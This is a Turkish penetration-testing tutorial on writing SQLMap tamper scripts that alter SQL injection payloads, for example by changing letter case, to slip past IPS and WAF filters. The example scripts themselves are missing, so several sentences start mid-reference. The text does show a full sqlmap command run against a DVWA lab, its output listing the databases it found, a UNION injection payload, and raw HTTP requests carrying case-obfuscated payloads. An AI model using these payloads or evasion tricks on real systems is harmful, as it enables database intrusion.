testlerinde bazı durumlarda bir SQLi zafiyeti tespit edilse dahi istismar(exploitation) işlemi
düşünüldüğü kadar kolay olmayabiliyor. Hedef sistemde kurulu olan IPS’i, WAF’ı
atlatmak, hedef uygulamanın yapısından dolayı bazı karakterlerden
kaçınmak veya logların analizini zorlaştırmak gibi amaçlarla sqli
payloadınının bazı kısıtlara uyması ya da encode edilmesi istenilebilir.
üzerinde istenilen değişiklikler tamper betikleri kullanılarak
yapılabilir.
Betik Yapısı
-
Kütüphanelerin belirlendiği ve betiğin önceliğinin belirtildiği bölüm.
-
Eğer varsa harici kütüphaneler gibi bağımlılıkların belirtildiği bölüm.
-
Payload üzerinde değişiklik yapılan bölüm.
“UNION” İçeren Payloadları Engelleyen Betik
de görüldüğü gibi tamper fonksiyonuna payload parametresinden gelen
değeri istenildiği gibi değiştirilip fonksiyondan yeni halini döndürmek
sunucuya gönderilecek payload üzerinde tam hakimiyet sağlamak için
yeterli olacaktır. Tabii bu betik sadece örnek amaçlıdır, UNION
sorguları kullanılmak istenmediğinde –technique parametresiyle
kullanılacak yöntemler belirlenebilir. Kullanılmak istenilen betik
SQLMap’e –tamper paremetresi ile bildirilir.
Payloadları Küçük Harfe Çeviren Betik
örnekteki betik üzerinde sadece tamper fonksiyonunda basit bir
değişiklikle sunucuya payloadların küçük harf olarak gönderilmesini
sağlayan yeni bir betik oluşturulabilir.
Payloadları Bir Büyük Bir Küçük Harf Formatına Dönüştüren Betik
payloadın içindeki alfabetik karakterleri isalpha fonksiyonu ile tespit
edip bunları sırayla ya küçük ya da büyük harfe çeviriyor.
sqlmap/tamper dizini altında randomcase.py adında büyük küçük harf
dağılımını rasgele yapan bir betik de mevcut. Yeni betikler yazmadan
önce yine aynı dizindeki betikleri incelemek faydalı olabilir.
Hedef sistemin önünde IPS olmadığı durumda aşağıdaki gibi bir sorgu ile veritabanı sürüm bilgisi alınabilmektedir.
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u “http://1.1.1.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie “security=low; PHPSESSID=qt63nmdm2njvfdbg48sv614ml6” –dbms=MySql -p id –batch –technique U –dbs
sqlmap/1.0-dev-dea6218 – automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:39:43
[15:39:43] [INFO] testing connection to the target url
[15:39:43] [INFO] heuristics detected web page charset ‘ascii’
[15:39:43] [WARNING] reflective value(s) found and filtering out
[15:39:43] [INFO] heuristic (parsing) test shows that GET parameter ‘id’ might be injectable (possible DBMS: ‘MySQL’)
[15:39:43] [INFO] testing for SQL injection on GET parameter ‘id’
[15:39:43] [INFO] testing ‘MySQL UNION query (NULL) – 1 to 10 columns’
[15:39:43] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:44] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:45] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:46] [CRITICAL] unable to connect to the target url or proxy
[15:39:46] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:47] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:48] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:49] [CRITICAL] unable to connect to the target url or proxy
[15:39:49] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:50] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:51] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[*] starting at 15:41:18
[15:41:18] [INFO] loading tamper script ‘randomcase’
[15:41:18] [INFO] testing connection to the target url
[15:41:18] [INFO] heuristics detected web page charset ‘ascii'[15:41:18] [INFO] testing for SQL injection on GET parameter ‘id’
[15:41:18] [INFO] testing ‘MySQL UNION query (NULL) – 1 to 10 columns’
[15:41:23] [INFO] target url appears to be UNION injectable with 1 columns
[[15:41:23] [INFO] target url appears to have 2 columns in query
[15:41:23] [INFO] GET parameter ‘id’ is ‘MySQL UNION query (NULL) – 1 to 10 columns’ injectable
GET parameter ‘id’ is vulnerable.
sqlmap identified the following injection points with a total of 48 HTTP(s) requests:
—
Place: GET
Parameter: id
Type: UNION query
Title: MySQL UNION query (NULL) – 2 columns
Payload: id=1′ UNION ALL SELECT NULL,CONCAT(0x3a796e743a,0x674757574141436c7953,0x3a63756b3a)#&Submit=Submit
—
[15:41:23] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[15:41:23] [INFO] testing MySQL
[15:41:23] [INFO] confirming MySQL
[15:41:24] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL >= 5.0.0
[15:41:24] [INFO] fetching database names
available databases [3]:
[*] dvwa
[*] information_schema
[*] mysql
GET /dvwa/vulnerabilities/sqli/?id=1%29%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23&Submit=Submit HTTP/1.1.
Accept-Language: en-us,en;q=0.5.
Accept-Encoding: gzip,deflate.
Host: 31.169.77.59.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8.
User-Agent: sqlmap/1.0-dev-dea6218 (http://sqlmap.org).
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7.
Connection: close.
Cookie: security=low; PHPSESSID=qt63nmdm2njvfdbg48sv614ml6.
Pragma: no-cache.
Cache-Control: no-cache,no-store.
GET /dvwa/vulnerabilities/sqli/?id=1%27%20unION%20AlL%20selecT%20NuLL%2CCONcAT%280x3a6d6d763a%2CIFNuLL%28CaSt%28schema_name%20aS%20ChAR%29%2C0x20%29%2C0x3a6271783a%29%20FroM%20INFORMATION_SCHEMA.SCHEMATA%23&Submit=Submit HTTP/1.1.
Accept-Language: en-us,en;q=0.5.
Accept-Encoding: gzip,deflate.
Host: 31.169.77.59.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8.
User-Agent: sqlmap/1.0-dev-dea6218 (http://sqlmap.org).
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7.
Connection: close.
Cookie: security=low; PHPSESSID=qt63nmdm2njvfdbg48sv614ml6.
Pragma: no-cache.
Cache-Control: no-cache,no-store.
de gösterildiği gibi tamper betikleri ile sqli payloadı üzerinde
yapılabilecekler python ile bir string üzerinde yapılabileceklerle
sınırlı(ya da yapılabilecekler kadar sınırsız). Öte yandan geçerli bir
payload üretmek betik yazarının sorumluluğunda.
Huzeyfe ÖNAL <huzeyfe.onal@bga.com.tr> – Onur ALANBEL <onur.alanbel@bga.com.tr>